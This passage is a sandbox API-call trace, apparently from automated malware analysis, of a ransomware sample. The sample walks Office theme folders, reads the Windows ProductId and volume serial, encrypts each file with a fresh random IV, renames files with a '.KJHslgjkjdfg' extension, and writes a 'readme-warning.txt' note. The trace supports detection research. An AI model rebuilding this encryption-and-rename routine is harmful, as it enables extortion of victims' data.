files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.707] CloseHandle (hObject=0x114) returned 1 [0172.707] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.707] GetProcessHeap () returned 0x2ef0000 [0172.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.707] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.707] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.707] GetProcessHeap () returned 0x2ef0000 [0172.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.707] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.707] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.707] GetProcessHeap () returned 0x2ef0000 [0172.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.707] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.708] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.708] GetProcessHeap () returned 0x2ef0000 [0172.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.708] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.708] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.708] GetProcessHeap () returned 0x2ef0000 [0172.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.708] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.708] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.708] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.708] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.708] RegCloseKey (hKey=0x114) returned 0x0 [0172.708] GetProcessHeap () returned 0x2ef0000 [0172.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.708] GetProcessHeap () returned 0x2ef0000 [0172.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.708] GetProcessHeap () returned 0x2ef0000 [0172.709] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.709] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.709] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.709] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.709] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.709] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.709] GetProcessHeap () returned 0x2ef0000 [0172.709] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.709] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.709] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.709] GetProcessHeap () returned 0x2ef0000 [0172.709] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.709] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt") returned 79 [0172.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.710] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.711] CloseHandle (hObject=0x114) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.712] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.712] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0172.712] GetProcessHeap () returned 0x2ef0000 [0172.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0172.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.713] GetProcessHeap () returned 0x2ef0000 [0172.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.713] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.713] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0172.714] GetProcessHeap () returned 0x2ef0000 [0172.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f3e278 [0172.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.714] GetProcessHeap () returned 0x2ef0000 [0172.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.714] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.714] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0172.717] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.717] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.717] GetProcessHeap () returned 0x2ef0000 [0172.717] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.717] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.717] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.717] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.717] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.717] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.717] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.718] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.718] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.718] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.718] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1cf31, lpOverlapped=0x0) returned 1 [0172.721] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1cf40, dwBufLen=0x1cf40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1cf40) returned 1 [0172.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.722] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1cf40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1cf40, lpOverlapped=0x0) returned 1 [0172.723] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.723] SetEndOfFile (hFile=0x114) returned 1 [0172.726] GetProcessHeap () returned 0x2ef0000 [0172.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.726] GetProcessHeap () returned 0x2ef0000 [0172.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.kjhslgjkjdfg")) returned 1 [0172.731] CloseHandle (hObject=0x114) returned 1 [0172.731] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0172.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.798] GetProcessHeap () returned 0x2ef0000 [0172.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.798] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.798] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.800] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.800] GetProcessHeap () returned 0x2ef0000 [0172.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.801] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.801] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.801] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.801] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.801] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.801] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.801] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.802] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.802] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x253, lpOverlapped=0x0) returned 1 [0172.802] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260) returned 1 [0172.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.802] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x260, lpOverlapped=0x0) returned 1 [0172.802] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.802] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.802] SetEndOfFile (hFile=0x114) returned 1 [0172.805] GetProcessHeap () returned 0x2ef0000 [0172.805] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.805] GetProcessHeap () returned 0x2ef0000 [0172.805] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.kjhslgjkjdfg")) returned 1 [0172.815] CloseHandle (hObject=0x114) returned 1 [0172.815] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.816] GetProcessHeap () returned 0x2ef0000 [0172.816] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.816] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.816] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.821] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.821] GetProcessHeap () returned 0x2ef0000 [0172.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.821] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.821] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.821] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.821] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, 